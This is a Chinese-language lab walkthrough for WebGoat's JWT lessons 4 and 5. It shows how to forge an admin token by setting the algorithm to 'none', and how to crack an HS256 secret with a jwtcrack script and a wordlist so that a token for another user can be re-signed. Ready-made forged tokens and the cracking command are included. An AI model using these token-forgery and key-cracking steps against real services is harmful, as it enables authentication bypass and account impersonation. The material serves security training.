当前位置:   article > 正文

WebGoat靶场JWT tokens四五关通关教程(JWT token安全)_webgoat jwt tokens

webgoat jwt tokens

一、JWT tokens 第四关

1.本关要求:尝试更改您收到的令牌,并通过更改令牌成为一个管理用户,一旦您是管理员重置投票

1.1 点击选择用户登录

在这里插入图片描述

1.2 点击 reset 抓包分析

在这里插入图片描述

发现 token
在这里插入图片描述

1.3 将 token 解密并修改 token

jwt 解密网站解密
在这里插入图片描述

让后将刚刚提到的两点进行修改,先修改 alg 方式为 none
这里图中 alg 原来的加密方式标错了,是 HS256
在这里插入图片描述

修改之后的 base64 值需要将==删除
在这里插入图片描述

声明部分的修改跟头部的修改一样
在这里插入图片描述

因为加密方式改为了 none,所以签名部分直接留空,但是.要写
所以拼接后的 token 为

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjY5MDQwMzE4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
  • 1

替换 token
在这里插入图片描述

成功重置票数
在这里插入图片描述

二、JWT tokens 第五关

1.假设我们有以下令牌,尝试找出密钥并提交一个新密钥,用户名更改为 WebGoat

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2ODE3NjEyNiwiZXhwIjoxNjY4MTc2MTg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.8QnyWHtsJgvKPAROiFDESES3vSViT_HB2TTreY4rP10
  • 1

1.1 首先分析一下题目

题目说需要找出密钥,并且用户名更改为 WebGoat,重点就是在找出密钥

1.2 将 token 解密观察

通过jwt 解密网站解密
在这里插入图片描述

发现在 header 头部的加密方式还是 HS256,这不是重点
重点在 payload 声明中的 exp 和 username,exp 是 token 过期的时间戳,时间戳需要修改到当前时间之后,也就让它不过期
而 username 就是题目要我们修改的东西,我们需要把 username 修改为 WebGoat

删除编码后的=,得到修改后的 token

eyJhbGciOiJIUzI1NiJ9.ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAiaWF0IjogMTY2ODE3NjEyNiwKICAiZXhwIjogMTcwODE3NjE4NiwKICAic3ViIjogInRvbUB3ZWJnb2F0Lm9yZyIsCiAgInVzZXJuYW1lIjogIldlYkdvYXQiLAogICJFbWFpbCI6ICJ0b21Ad2ViZ29hdC5vcmciLAogICJSb2xlIjogWwogICAgIk1hbmFnZXIiLAogICAgIlByb2plY3QgQWRtaW5pc3RyYXRvciIKICBdCn0.签名
  • 1

但是因为加密方式还是 HS256 ,我们还需要密钥才能得到签名,所以需要用到一个 github 上的工具jwtcrack在本地暴力破解密钥,用这个工具需要先自己在 github 上下载一个字典

我们将题目给的完整的 jwt-token 复制,并且在工具目录打开 cmd,执行以下命令:

python crackjwt.py JWT 字典.txt
  • 1

这里我执行的就是

python crackjwt.py eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2ODE3NjEyNiwiZXhwIjoxNjY4MTc2MTg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.8QnyWHtsJgvKPAROiFDESES3vSViT_HB2TTreY4rP10 bible.txt
  • 1

破解成功:
在这里插入图片描述

将密钥 shipping 填入解密网站,然后直接在网站修改 exp 与 username,会自动生成新的 jwt-token

复制左侧生成的 token 直接填入关卡即可成功伪造用户信息
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Li_阴宅/article/detail/1005745
推荐阅读
相关标签
  

闽ICP备14008679号